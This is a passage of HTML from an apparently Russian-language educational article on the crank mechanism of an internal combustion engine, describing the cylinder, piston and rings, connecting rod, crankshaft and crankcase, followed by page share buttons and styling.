td-fix-index"><p>袣褉懈胁芯褕懈锌薪芯-褕邪褌褍薪薪褘泄 屑械褏邪薪懈蟹屑 <a href="https://www.sciencedebate2008.com/rabota-dvigatelya-dvigatelya-vnutrennogo-sgoraniya-ustroystvo-i-printsip-deystviya/">写胁懈谐邪褌械谢褟 胁薪褍褌褉械薪薪械谐芯 褋谐芯褉邪薪懈褟</a> 褋谢褍卸懈褌 写谢褟 锌褉械芯斜褉邪蟹芯胁邪薪懈褟 锌褉褟屑芯谢懈薪械泄薪芯谐芯 写胁懈卸械薪懈褟 锌芯褉褕薪褟 胁芯 胁褉邪褖邪褌械谢褜薪芯械 写胁懈卸械薪懈械 泻芯谢械薪褔邪褌芯谐芯 胁邪谢邪. 小 锌芯屑芯褖褜褞 谐邪蟹芯褉邪褋锌褉械写械谢懈褌械谢褜薪芯谐芯 屑械褏邪薪懈蟹屑邪 懈谢懈 <a href="https://www.sciencedebate2008.com/dvigatel-bez-grm-alternativa-ot-freevalve/">褝谢械泻褌褉芯薪薪褘褏 邪泻褌褍邪褌芯褉芯胁</a> 蟹邪屑械薪褟械屑褘泄 械谐芯 褑懈谢懈薪写褉 蟹邪锌芯谢薪褟械褌褋褟 谐芯褉褞褔械泄 褋屑械褋褜褞 懈 芯褋胁芯斜芯卸写邪械褌褋褟 芯褌 芯褌褉邪斜芯褌邪薪薪褘褏 谐邪蟹芯胁.</p> <p>袣褉邪泄薪械械 锌芯谢芯卸械薪懈械 锌芯褉褕薪褟 锌褉懈 写胁懈卸械薪懈懈 械谐芯 胁 褑懈谢懈薪写褉械 薪邪蟹褘胁邪械褌褋褟 屑械褉褌胁褘屑懈 褌芯褔泻邪屑懈. 袩芯谢芯卸械薪懈械, 锌褉懈 泻芯褌芯褉芯屑 锌芯褉褕械薪褜 屑邪泻褋懈屑邪谢褜薪芯 褍写邪谢械薪 芯褌 芯褋懈 泻芯谢械薪褔邪褌芯谐芯 胁邪谢邪, 薪邪蟹褘胁邪械褌褋褟 胁械褉褏薪械泄 屑械褉褌胁芯泄 褌芯褔泻芯泄, 邪 锌芯谢芯卸械薪懈械, 锌褉懈 泻芯褌芯褉芯屑 芯薪 屑懈薪懈屑邪谢褜薪芯 褍写邪谢械薪 芯褌 芯褋懈 泻芯谢械薪褔邪褌芯谐芯 胁邪谢邪, &#8212; 薪懈卸薪械泄 屑械褉褌胁芯泄 褌芯褔泻芯泄. 啸芯写 锌芯褉褕薪褟 &#8212; 褝褌芯 褉邪褋褋褌芯褟薪懈械 屑械卸写褍 胁械褉褏薪械泄 懈 懈 薪懈卸薪械泄 屑械褉褌胁褘屑懈 褌芯褔泻邪屑懈. </p> <ul> <li><a href="#1">小芯褋褌邪胁薪褘械 褔邪褋褌懈 懈 褋褏械屑邪 泻褉懈胁芯褕懈锌薪芯-褕邪褌褍薪薪芯谐芯 屑械褏邪薪懈蟹屑邪</a></li> <li><a href="#2">笑懈谢懈薪写褉 胁 褋褏械屑械 泻褉懈胁芯褕懈锌薪芯-褕邪褌褍薪薪芯谐芯 屑械褏邪薪懈蟹屑邪</a></li> <li><a href="#3">袠蟹 褔械谐芯 褋芯褋褌芯懈褌 锌芯褉褕械薪褜 懈 械谐芯 褉芯谢褜</a></li> <li><a href="#4">袠蟹 褔械谐芯 褋芯褋褌芯懈褌 褕邪褌褍薪</a></li> <li><a href="#5">袣芯谢械薪褔邪褌褘泄 胁邪谢 懈 械谐芯 泻褉懈胁芯褕懈锌褘</a></li> <li><a href="#6">袣邪褉褌械褉 写胁懈谐邪褌械谢褟 胁薪褍褌褉械薪薪械谐芯 褋谐芯褉邪薪懈褟</a></li> </ul> <p><img fetchpriority="high" decoding="async" src="https://www.sciencedebate2008.com/wp-content/uploads/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya.jpg" alt="袣褉懈胁芯褕懈锌薪芯-褕邪褌褍薪薪褘泄 屑械褏邪薪懈蟹屑 写胁懈谐邪褌械谢褟 胁薪褍褌褉械薪薪械谐芯 褋谐芯褉邪薪懈褟" width="745" height="561" class="alignnone size-full wp-image-16612" srcset="https://www.sciencedebate2008.com/wp-content/uploads/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya.jpg 745w, https://www.sciencedebate2008.com/wp-content/uploads/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya-80x60.jpg 80w, https://www.sciencedebate2008.com/wp-content/uploads/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya-696x524.jpg 696w, https://www.sciencedebate2008.com/wp-content/uploads/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya-558x420.jpg 558w" sizes="(max-width: 745px) 100vw, 745px" /></p> <p><a name="1"></a></p> <h2>小芯褋褌邪胁薪褘械 褔邪褋褌懈 懈 褋褏械屑邪 泻褉懈胁芯褕懈锌薪芯-褕邪褌褍薪薪芯谐芯 屑械褏邪薪懈蟹屑邪</h2> <p>袣褉懈胁芯褕懈锌薪芯 褕邪褌褍薪薪褘泄 屑械褏邪薪懈蟹屑 写胁懈谐邪褌械谢褟 褋芯褋褌芯懈褌 懈蟹 褌邪泻懈褏 褋芯褋褌邪胁薪褘褏 褔邪褋褌械泄: 褑懈谢懈薪写褉邪, 锌芯褉褕薪褟 褋 泻芯谢褜褑邪屑懈 懈 锌芯褉褕薪械胁褘屑 锌邪谢褜褑械屑, 褕邪褌褍薪邪 褋 锌芯写褕懈锌薪懈泻邪屑懈, 泻芯谢械薪褔邪褌芯谐芯 胁邪谢邪 褋 锌芯写褕懈锌薪懈泻邪屑懈, 屑邪褏芯胁懈泻邪, 泻邪褉褌械褉邪. </p> <p><img decoding="async" src="https://www.sciencedebate2008.com/wp-content/uploads/skhema-krivoshipnogo-shatunnogo-mekhanizma.jpg" alt="C褏械屑邪 泻褉懈胁芯褕懈锌薪芯谐芯 褕邪褌褍薪薪芯谐芯 屑械褏邪薪懈蟹屑邪" width="740" height="704" class="alignnone size-full wp-image-16607" srcset="https://www.sciencedebate2008.com/wp-content/uploads/skhema-krivoshipnogo-shatunnogo-mekhanizma.jpg 740w, https://www.sciencedebate2008.com/wp-content/uploads/skhema-krivoshipnogo-shatunnogo-mekhanizma-696x662.jpg 696w, https://www.sciencedebate2008.com/wp-content/uploads/skhema-krivoshipnogo-shatunnogo-mekhanizma-441x420.jpg 441w" sizes="(max-width: 740px) 100vw, 740px" /></p> <p><strong>小褏械屑邪 1</strong> 泻褉懈胁芯褕懈锌薪芯-褕邪褌褍薪薪芯谐芯 屑械褏邪薪懈蟹屑邪.</p> <ol> <li>袚芯谢芯胁泻邪 褑懈谢懈薪写褉邪</li> <li>袛械泻芯屑锌褉械褋褋芯褉</li> <li>小胁械褔邪</li> <li>袣邪屑械褉邪 褋谐芯褉邪薪懈褟</li> <li>袞邪褉芯锌褉芯褔薪邪褟 锌褉芯泻谢邪写泻邪 谐芯谢芯胁泻懈 褑懈谢懈薪写褉邪</li> <li>袪械斜褉邪 写谢褟 芯褏谢邪卸写械薪懈褟</li> <li>袣邪褉斜褞褉邪褌芯褉</li> <li>袙芯蟹写褍褏芯芯褔懈褋褌懈褌械谢褜</li> <li>袦械褏邪薪懈蟹屑 邪褍褋泻邪 写胁懈谐邪褌械谢褟</li> <li>袣芯谢械薪褔邪褌褘泄 胁邪谢</li> <li>袣邪褉褌械褉</li> <li>袩芯写锌懈锌薪懈泻 褕邪褌褍薪邪</li> <li>楔邪褌褍薪</li> <li>袩芯褉褕械薪褜</li> <li>袩芯褉褕薪械胁芯泄 锌邪谢械褑</li> <li>笑懈谢懈薪写褉</li> <li>袩芯褉褕薪械胁芯械 泻芯谢褜褑芯</li> </ol> <p><a name="2"></a></p> <h2>笑懈谢懈薪写褉 胁 褋褏械屑械 泻褉懈胁芯褕懈锌薪芯-褕邪褌褍薪薪芯谐芯 屑械褏邪薪懈蟹屑邪</h2> <p>袙 褑懈谢懈薪写褉械 16 (褋褏械屑邪 1) 锌褉芯懈褋褏芯写懈褌 褋谐芯褉邪薪懈械 褉邪斜芯褔械泄 褋屑械褋懈. 袙薪褍褌褉械薪薪褟褟 锌芯胁械褉褏薪芯褋褌褜 褑懈谢懈薪写褉邪 褟胁谢褟械褌褋褟 薪邪锌褉邪胁谢褟褞褖械泄 写谢褟 写胁懈卸械薪懈褟 锌芯褉褕薪褟. 笑懈谢懈薪写褉褘 懈蟹谐芯褌邪胁谢懈胁邪褞褌 懈蟹 褔褍谐褍薪邪 懈谢懈 邪谢褞屑懈薪懈械胁芯谐芯 褋锌谢邪胁邪. 袙薪褍褌褉械薪薪褞褞 锌芯胁械褉褏薪芯褋褌褜 褑懈谢懈薪写褉邪, 锌芯 泻芯褌芯褉芯泄 写胁懈谐邪械褌褋褟 锌芯褉褕械薪褜 14 (褋褏械屑邪 1), 锌芯谢懈褉褍褞褌 写芯 斜谢械褋泻邪 (械械 薪邪蟹褘胁邪褞褌 蟹械褉泻邪谢芯屑). 小薪邪褉褍卸懈 薪邪 褑懈谢懈薪写褉械 械褋褌褜 褉械斜褉邪 6 (褋褏械屑邪 1), 泻芯褌芯褉褘械 褍胁械谢懈褔懈胁邪褞褌 锌芯胁械褉褏薪芯褋褌褜 泻芯薪褌邪泻褌邪 褋 芯泻褉褍卸邪褞褖懈屑 胁芯蟹写褍褏芯屑. 袚芯谢芯胁泻褍 褑懈谢懈薪写褉邪 1 (褋褏械屑邪 1) 芯褌谢懈胁邪褞褌 懈蟹 邪谢褞屑懈薪懈械胁芯谐芯 褋锌谢邪胁邪. 小薪邪褉褍卸懈 薪邪 薪械泄 褌邪泻卸械 懈屑械褞褌褋褟 褉械斜褉邪. 袙薪褍褌褉懈 谐芯谢芯胁泻懈 褉邪褋锌芯谢芯卸械薪邪 泻邪屑械褉邪 褋谐芯褉邪薪懈褟 4 (褋褏械屑邪 1). </p> <p><iframe width="696" height="340" src="https://www.youtube.com/embed/MS3apg5gnXU" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe><br /> <em>袙懈写械芯 锌芯谢薪芯谐芯 锌褉芯褑械褋褋邪 懈蟹谐芯褌芯胁谢械薪懈褟 斜谢芯泻邪 褑懈谢懈薪写褉芯胁 </em></p> <p>袙 谐芯谢芯胁泻械 械褋褌褜 芯褌胁械褉褋褌懈械: 芯写薪芯 写谢褟 褋胁械褔懈 蟹邪卸懈谐邪薪懈褟 3 (褋褏械屑邪 1), 邪 写褉褍谐芯械 写谢褟 写械泻芯屑锌褉械褋褋芯褉邪 2 (褋褏械屑邪 1). 袦械卸写褍 谐芯谢芯胁泻芯泄 懈 褑懈谢懈薪写褉芯屑 褍褋褌邪薪芯胁谢械薪邪 卸邪褉芯锌褉芯褔薪邪褟 锌褉芯泻谢邪写泻邪 5 (褋褏械屑邪 1) 写谢褟 褍锌谢芯褌薪械薪懈褟 懈褏 褋芯械写懈薪械薪懈褟. 小芯械写懈薪褟械褌褋褟 谐芯谢芯胁泻邪 褋 褑懈谢懈薪写褉芯屑 褋 锌芯屑芯褖褜褞 胁懈薪褌芯胁.</p> <p><a name="3"></a></p> <h2>袠蟹 褔械谐芯 褋芯褋褌芯懈褌 锌芯褉褕械薪褜 懈 械谐芯 褉芯谢褜</h2> <p>袩芯褉褕械薪褜 14 (褋褏械屑邪 1) 锌褉懈薪懈屑邪械褌 写邪胁谢械薪懈械 谐邪蟹芯胁 懈 锌械褉械写邪械褌 械谐芯 褔械褉械蟹 锌邪谢械褑 15 (褋褏械屑邪 1) 懈 褕邪褌褍薪 13 (褋褏械屑邪 1)薪邪 泻芯谢械薪褔邪褌褘泄 胁邪谢. 袩芯写 胁谢懈褟薪懈械屑 锌谢邪屑械薪懈 懈 谐芯褉褟褔懈褏 谐邪蟹芯胁 锌芯褉褕械薪褜 薪邪谐褉械胁邪械褌褋褟 写芯 胁褘褋芯泻芯泄 褌械屑锌械褉邪褌褍褉褘 懈 褉邪褋褕懈褉褟械褌褋褟. 袛谢褟 锌褉械写褍锌褉械卸写械薪懈褟 蟹邪泻谢懈薪懈胁邪薪懈褟 械谐芯 胁芯 胁褉械屑褟 褉邪斜芯褌褘 褉邪斜芯褌褘 屑械卸写褍 锌芯褉褕薪械屑 懈 褑懈谢懈薪写褉芯屑 懈屑械械褌褋褟 蟹邪蟹芯褉. 袗 褔褌芯斜褘 褔械褉械蟹 褝褌芯褌 蟹邪蟹芯褉 薪械 锌褉芯薪懈泻邪谢懈 谐邪蟹褘 懈蟹 泻邪屑械褉褘 褋谐芯褉邪薪懈褟, 锌芯褉褕械薪褜 褍锌谢芯褌薪褟褞褌 胁 褑懈谢懈薪写褉械 褉邪蟹褉械蟹薪褘屑懈 锌芯褉褕薪械胁褘屑懈 泻芯谢褜褑邪屑懈 17 (褋褏械屑邪 1). </p> <p><img loading="lazy" decoding="async" src="https://www.sciencedebate2008.com/wp-content/uploads/skhema-pornya-shatuna-i-kolenchatogo-vala.jpg" alt="小褏械屑邪 锌芯褉褕薪褟, 褕邪褌褍薪邪 懈 泻芯谢械薪褔邪褌芯谐芯 胁邪谢邪" width="745" height="500" class="alignnone size-full wp-image-16610" srcset="https://www.sciencedebate2008.com/wp-content/uploads/skhema-pornya-shatuna-i-kolenchatogo-vala.jpg 745w, https://www.sciencedebate2008.com/wp-content/uploads/skhema-pornya-shatuna-i-kolenchatogo-vala-696x467.jpg 696w, https://www.sciencedebate2008.com/wp-content/uploads/skhema-pornya-shatuna-i-kolenchatogo-vala-626x420.jpg 626w" sizes="(max-width: 745px) 100vw, 745px" /> </p> <p>袛谢褟 锌芯褉褕薪械胁褘褏 泻芯谢械褑 7 (褉懈褋. 2) 胁 胁械褉褏薪械泄 褔邪褋褌懈 胁褘褌邪褔懈胁邪褞褌 泻芯谢褜褑械胁褘械 泻邪薪邪胁泻懈 1 (褉懈褋. 2). 袩芯褉褕薪械胁褘械 泻芯谢褜褑邪 懈屑械褞褌 褉邪蟹褉械蟹 懈 锌褉褍卸懈薪褟褌 锌褉懈 褋卸邪褌懈懈. 校褋褌邪薪芯胁谢械薪薪褘械 胁 泻邪薪邪胁泻邪褏 锌芯褉褕薪褟, 芯薪懈 斜谢邪谐芯写邪褉褟 褋胁芯械泄 褍锌褉褍谐芯褋褌懈 锌谢芯褌薪芯 锌褉懈卸懈屑邪褞褌褋褟 泻 蟹械褉泻邪谢褍 褑懈谢懈薪写褉邪. 袩芯褉褕薪械胁褘械 泻芯谢褜褑邪 斜褘胁邪褞褌 泻芯屑锌褉械褋褋懈芯薪薪褘械 懈 屑邪褋谢芯褋褗械屑薪褘械. 袣芯屑锌褉械褋褋懈芯薪薪褘械 泻芯谢褜褑邪 锌褉械写褍锌褉械卸写邪褞褌 锌褉芯薪懈泻薪芯胁械薪懈械 谐邪蟹芯胁 褔械褉械蟹 蟹邪蟹芯褉 屑械卸写褍 褑懈谢懈薪写褉邪屑懈 懈 锌芯褉褕薪械屑, 邪 褌邪泻卸械 芯褌胁芯写褟褌 褔邪褋褌褜 褌械锌谢邪, 泻芯褌芯褉芯械 锌械褉械写邪械褌褋褟 薪邪 写薪芯 锌芯褉褕薪褟 锌褉懈 褋谐芯褉邪薪懈懈 褉邪斜芯褔械泄 褋屑械褋懈.</p> <p>袦邪褋谢芯褋褗械屑薪芯械 泻芯谢褜褑芯 懈屑械械褌 薪邪 薪邪褉褍卸薪芯泄 锌芯胁械褉褏薪芯褋褌懈 泻邪薪邪胁泻褍 懈 褋泻胁芯蟹薪褘械 芯褌胁械褉褋褌懈褟. 袙褘褋褌褍锌邪屑懈 薪邪褉褍卸薪芯泄 锌芯胁械褉褏薪芯褋褌懈 芯薪芯 褋薪懈屑邪械褌 褋 蟹械褉泻邪谢邪 褑懈谢懈薪写褉邪 屑邪褋谢芯 懈 褔械褉械蟹 泻邪薪邪胁泻褍 懈 芯褌胁械褉褋褌懈褟 锌褉芯锌褍褋泻邪械褌 械谐芯 胁 泻邪褉褌械褉. 袣邪泻 锌褉邪胁懈谢芯, 薪邪 锌芯褉褕薪褟褏 写胁褍褏褌邪泻褌薪褘褏 写胁懈谐邪褌械谢械泄 屑芯褌芯褑懈泻谢芯胁 屑邪褋谢芯褋褗械屑薪褘械 泻芯谢褜褑邪 薪械 褍褋褌邪薪邪胁谢懈胁邪褞褌. </p> <p>袙 褋褉械写薪械泄 褔邪褋褌懈 锌芯褉褕薪褟 懈屑械械褌褋褟 褉邪写懈邪谢褜薪芯械 芯褌胁械褉褋褌懈械, 泻褍写邪 胁褋褌邪胁谢褟械褌褋褟 锌芯褉褕薪械胁芯泄 锌邪谢械褑 2 (褉懈褋. 2), 褋 锌芯屑芯褖褜褞 泻芯褌芯褉芯谐芯 锌芯褉褕械薪褜 褕邪褉薪懈褉薪芯 褋芯械写懈薪褟械褌褋褟 褋 胁械褉褏薪械泄 谐芯谢芯胁泻芯泄 6 (褉懈褋. 2) 褕邪褌褍薪邪. </p> <p>袙 薪懈卸薪械泄 褔邪褋褌懈 锌芯褉褕薪褟 写胁褍褏褌邪泻褌薪芯谐芯 写胁懈谐邪褌械谢褟 写械谢邪褞褌 胁褘褉械蟹褘 4 (褉懈褋. 2) 写谢褟 锌褉芯锌褍褋泻邪薪懈褟 谐芯褉褞褔械泄 褋屑械褋懈 懈 芯褌褉邪斜芯褌邪薪薪褘褏 谐邪蟹芯胁. </p> <p><iframe loading="lazy" width="696" height="340" src="https://www.youtube.com/embed/74b6rZYajGw" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe><br /> <em>袙懈写械芯 锌芯谢薪芯谐芯 褑懈泻谢邪 懈蟹谐芯褌芯胁谢械薪懈褟 锌芯褉褕薪械泄</em></p> <p>袩芯褉褕械薪褜 芯褌谢懈胁邪褞褌 懈蟹 邪谢褞屑懈薪懈械胁芯谐芯 褋锌谢邪胁邪, 锌芯褉褕薪械胁褘械 泻芯谢褜褑邪 &#8212; 懈蟹 褔褍谐褍薪邪 懈谢懈 褋褌邪谢懈. 小褌邪谢褜薪芯泄 锌芯褉褕薪械胁芯泄 锌邪谢械褑 褍泻褉械锌谢褟褞褌 褍锌褉褍谐懈屑懈 泻芯谢褜褑邪屑懈 3 (褉懈褋. 2) 懈谢懈 邪谢褞屑懈薪懈械胁褘屑懈 蟹邪谐谢褍褕泻邪屑懈.</p> <p><a name="4"></a></p> <h2>袠蟹 褔械谐芯 褋芯褋褌芯懈褌 褕邪褌褍薪</h2> <p>袙 褕邪褌褍薪械 13 (褋褏械屑邪 1) 褉邪蟹谢懈褔邪褞褌 褋褉械写薪褞褞 褔邪褋褌褜 3 (褉懈褋. 3), 懈谢懈 褌邪泻 薪邪蟹褘胁邪械屑褘泄 褋褌械褉卸械薪褜, 胁械褉褏薪褞褞 2 (褉懈褋. 3) 懈 薪懈卸薪褞褞 5 (褉懈褋. 3) 谐芯谢芯胁泻懈. 袙 胁械褉褏薪械泄 谐芯谢芯胁泻械 蟹邪锌褉械褋褋芯胁邪薪邪 斜褉芯薪蟹芯胁邪褟 胁褌褍谢泻邪 1 (懈谢懈 懈谐芯谢褜褔邪褌褘泄 锌芯写褕懈锌薪懈泻) 写谢褟 褕邪褉薪懈褉薪芯谐芯 褋芯械写懈薪械薪懈褟 褋 锌芯褉褕薪械胁褘屑 锌邪谢褜褑械屑. 袙 薪懈卸薪械泄 谐芯谢芯胁泻械, 泻芯褌芯褉褍褞 薪邪写械胁邪褞褌 薪邪 褕械泄泻褍 锌邪谢褜褑邪 6 (褉懈褋. 3)泻芯谢械薪褔邪褌芯谐芯 胁邪谢邪, 屑芯薪褌懈褉褍褞褌 褉芯谢懈泻芯胁褘泄 锌芯写褕懈锌薪懈泻 4 (褉懈褋. 3). 袙 谐芯谢芯胁泻邪褏 褕邪褌褍薪邪 械褋褌褜 芯褌胁械褉褋褌懈褟 写谢褟 褋屑邪蟹褘胁邪薪懈褟 锌芯写褕懈锌薪懈泻芯胁. </p> <p><a name="5"></a></p> <h2>袣芯谢械薪褔邪褌褘泄 胁邪谢 懈 械谐芯 泻褉懈胁芯褕懈锌褘</h2> <p>袣芯谢械薪褔邪褌褘泄 胁邪谢 懈屑械械褌 褋褌芯谢褜泻芯 泻褉懈胁芯褕懈锌芯胁, 褋泻芯谢褜泻芯 褑懈谢懈薪写褉芯胁 胁 写胁懈谐邪褌械谢械. 袣褉懈胁芯褕懈锌 褋芯褋褌芯懈褌 懈蟹 褕邪褌褍薪薪芯泄 褕械泄泻懈 6 (褉懈褋. 3) 写胁褍褏 褖械泻 8 (褉懈褋. 3) 懈 写胁褍褏 泻芯褉械薪薪褘褏 褕械械泻 7. (褉懈褋. 3).</p> <p>些械泻懈 泻芯谢械薪褔邪褌芯谐芯 胁邪谢邪 8 写械谢邪褞褌 屑邪褋褋懈胁薪褘屑懈, 懈 芯薪懈 胁褘锌芯谢薪褟褞褌 褉芯谢褜 屑邪褏芯胁懈泻邪 胁 写胁懈谐邪褌械谢械. </p> <p><a name="6"></a></p> <h2>袣邪褉褌械褉 写胁懈谐邪褌械谢褟 胁薪褍褌褉械薪薪械谐芯 褋谐芯褉邪薪懈褟</h2> <p>袧懈卸薪褟褟 褔邪褋褌褜 写胁懈谐邪褌械谢褟 薪邪蟹褘胁邪械褌褋褟 泻邪褉褌械褉芯屑. 袣邪褉褌械褉 13 (褋褏械屑邪 1) 懈蟹谐芯褌邪胁谢懈胁邪褞褌 懈蟹 邪谢褞屑懈薪懈械胁芯谐芯 褋锌谢邪胁邪. 小 锌芯屑芯褖褜褞 泻邪褉褌械褉邪 写胁懈谐邪褌械谢褜 锌褉懈泻褉械锌谢褟械褌褋褟 泻 褉邪屑械. 袙芯 胁薪褍褌褉械薪薪械泄 褔邪褋褌懈 锌芯谢芯褋褌懈 泻邪褉褌械褉邪 褉邪褋锌芯谢芯卸械薪 泻褉懈胁芯褕懈锌 泻芯谢械薪褔邪褌芯谐芯 胁邪谢邪. </p> <p>袣邪褉褌械褉褘 写胁懈谐邪褌械谢械泄 谢械谐泻懈褏 懈 褋褉械写薪懈褏 屑芯褌芯褑懈泻谢芯胁 懈蟹谐芯褌邪胁谢懈胁邪褞褌 芯斜褘褔薪芯 胁 芯写薪芯屑 斜谢芯泻械 褋 泻邪褉褌械褉邪屑懈 屑褍褎褌褘 褋褑械锌谢械薪懈褟 懈 泻芯褉芯斜泻懈 锌械褉械写邪褔. 袣邪褉褌械褉褘 胁 褝褌懈褏 屑芯褌芯褑懈泻谢芯胁 褋芯褋褌芯褟褌 懈蟹 写胁褍褏 锌芯谢芯胁懈薪 懈 泻褉褘褕械泻, 褋芯械写懈薪械薪薪褘褏 屑械卸写褍 褋芯斜芯泄 斜芯谢褌邪屑懈. 袣邪褉褌械褉褘 写胁褍褏褌邪泻褌薪褘褏 写胁懈谐邪褌械谢械泄 谐械褉屑械褌懈褔薪褘.</p> </div></div><div class="wpb_wrapper td_block_separator td_block_wrap vc_separator tdi_69 td_separator_solid td_separator_center"><span style="border-color:#EBEBEB;border-width:1px;width:100%;"></span> <style scoped>.td_block_separator{width:100%;align-items:center;margin-bottom:38px;padding-bottom:10px}.td_block_separator span{position:relative;display:block;margin:0 auto;width:100%;height:1px;border-top:1px solid #EBEBEB}.td_separator_align_left span{margin-left:0}.td_separator_align_right span{margin-right:0}.td_separator_dashed span{border-top-style:dashed}.td_separator_dotted span{border-top-style:dotted}.td_separator_double span{height:3px;border-bottom:1px solid #EBEBEB}.td_separator_shadow>span{position:relative;height:20px;overflow:hidden;border:0;color:#EBEBEB}.td_separator_shadow>span>span{position:absolute;top:-30px;left:0;right:0;margin:0 auto;height:13px;width:98%;border-radius:100%}html :where([style*='border-width']){border-style:none}.tdi_69{margin-top:28px!important;margin-bottom:20px!important}</style></div><div class="td_block_wrap tdb_single_post_share tdi_70 td-pb-border-top td_block_template_1" data-td-block-uid="tdi_70" > <style>.tdi_70 .td-post-sharing-visible{align-items:flex-start}</style><div id="tdi_70" class="td-post-sharing tdb-block td-ps-bg td-ps-notext td-post-sharing-style1 "><div class="td-post-sharing-visible"><div class="td-social-sharing-button td-social-sharing-button-js td-social-handler td-social-share-text"> <div class="td-social-but-icon"><i class="td-icon-share"></i></div> <div class="td-social-but-text">袩芯写械谢懈褌褜褋褟</div> </div><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-facebook" href="https://www.facebook.com/sharer.php?u=https%3A%2F%2Fwww.sciencedebate2008.com%2Fkrivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya%2F" title="Facebook" ><div class="td-social-but-icon"><i class="td-icon-facebook"></i></div><div class="td-social-but-text">Facebook</div></a><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-twitter" href="https://twitter.com/intent/tweet?text=%D0%9A%D1%80%D0%B8%D0%B2%D0%BE%D1%88%D0%B8%D0%BF%D0%BD%D0%BE-%D1%88%D0%B0%D1%82%D1%83%D0%BD%D0%BD%D1%8B%D0%B9+%D0%BC%D0%B5%D1%85%D0%B0%D0%BD%D0%B8%D0%B7%D0%BC+%D0%B4%D0%B2%D0%B8%D0%B3%D0%B0%D1%82%D0%B5%D0%BB%D1%8F+%D0%B2%D0%BD%D1%83%D1%82%D1%80%D0%B5%D0%BD%D0%BD%D0%B5%D0%B3%D0%BE+%D1%81%D0%B3%D0%BE%D1%80%D0%B0%D0%BD%D0%B8%D1%8F&url=https%3A%2F%2Fwww.sciencedebate2008.com%2Fkrivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya%2F&via=Science+Debate" title="Twitter" ><div class="td-social-but-icon"><i class="td-icon-twitter"></i></div><div class="td-social-but-text">Twitter</div></a><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-pinterest" href="https://pinterest.com/pin/create/button/?url=https://www.sciencedebate2008.com/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya/&amp;media=https://www.sciencedebate2008.com/wp-content/uploads/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya.jpg&description=%D0%9A%D1%80%D0%B8%D0%B2%D0%BE%D1%88%D0%B8%D0%BF%D0%BD%D0%BE-%D1%88%D0%B0%D1%82%D1%83%D0%BD%D0%BD%D1%8B%D0%B9+%D0%BC%D0%B5%D1%85%D0%B0%D0%BD%D0%B8%D0%B7%D0%BC+%D0%B4%D0%B2%D0%B8%D0%B3%D0%B0%D1%82%D0%B5%D0%BB%D1%8F+%D0%B2%D0%BD%D1%83%D1%82%D1%80%D0%B5%D0%BD%D0%BD%D0%B5%D0%B3%D0%BE+%D1%81%D0%B3%D0%BE%D1%80%D0%B0%D0%BD%D0%B8%D1%8F" title="Pinterest" ><div class="td-social-but-icon"><i class="td-icon-pinterest"></i></div><div class="td-social-but-text">Pinterest</div></a><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-whatsapp" href="https://api.whatsapp.com/send?text=%D0%9A%D1%80%D0%B8%D0%B2%D0%BE%D1%88%D0%B8%D0%BF%D0%BD%D0%BE-%D1%88%D0%B0%D1%82%D1%83%D0%BD%D0%BD%D1%8B%D0%B9+%D0%BC%D0%B5%D1%85%D0%B0%D0%BD%D0%B8%D0%B7%D0%BC+%D0%B4%D0%B2%D0%B8%D0%B3%D0%B0%D1%82%D0%B5%D0%BB%D1%8F+%D0%B2%D0%BD%D1%83%D1%82%D1%80%D0%B5%D0%BD%D0%BD%D0%B5%D0%B3%D0%BE+%D1%81%D0%B3%D0%BE%D1%80%D0%B0%D0%BD%D0%B8%D1%8F %0A%0A https://www.sciencedebate2008.com/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya/" title="WhatsApp" ><div class="td-social-but-icon"><i class="td-icon-whatsapp"></i></div><div class="td-social-but-text">WhatsApp</div></a></div><div class="td-social-sharing-hidden"><ul class="td-pulldown-filter-list"></ul><a class="td-social-sharing-button td-social-handler td-social-expand-tabs" href="#" data-block-uid="tdi_70" title="More"> <div class="td-social-but-icon"><i class="td-icon-plus td-social-expand-tabs-icon"></i></div> </a></div></div></div><div class="wpb_wrapper td_block_separator td_block_wrap vc_separator tdi_72 td_separator_solid td_separator_center"><span style="border-color:#EBEBEB;border-width:1px;width:100%;"></span> <style scoped>.tdi_72{margin-bottom:30px!important}@media (max-width:767px){.tdi_72{margin-top:-7px!important}}</style></div><div class="td_block_wrap tdb_single_next_prev tdi_73 td-animation-stack td-pb-border-top td_block_template_1" data-td-block-uid="tdi_73" > <style>.tdi_73{margin-bottom:43px!important}</style> <style>.tdb_single_next_prev{*zoom:1}.tdb_single_next_prev:before,.tdb_single_next_prev:after{display:table;content:'';line-height:0}.tdb_single_next_prev:after{clear:both}.tdb-next-post{font-family:'Roboto',sans-serif;width:48%;float:left;transform:translateZ(0);-webkit-transform:translateZ(0);min-height:1px;line-height:1}.tdb-next-post span{display:block;font-size:12px;color:#747474;margin-bottom:7px}.tdb-next-post a{font-size:15px;color:#222;line-height:21px;-webkit-transition:color 0.2s ease;transition:color 0.2s ease}.tdb-next-post a:hover{color:var(--td_theme_color,#4db2ec)}.tdb-post-next{margin-left:2%;text-align:right}.tdb-post-prev{margin-right:2%}.tdb-post-next .td-image-container{display:inline-block}.tdi_73 .td-module-container{display:flex;flex-direction:column}.tdi_73 .tdb-post-next .td-module-container{align-items:flex-end}.tdi_73 .td-image-container{display:block;order:0}.ie10 .tdi_73 .next-prev-title,.ie11 .tdi_73 .next-prev-title{flex:auto}@media (min-width:1019px) and (max-width:1140px){}@media (min-width:768px) and (max-width:1018px){}@media (max-width:767px){}</style><div class="tdb-block-inner td-fix-index"><div class="tdb-next-post tdb-next-post-bg 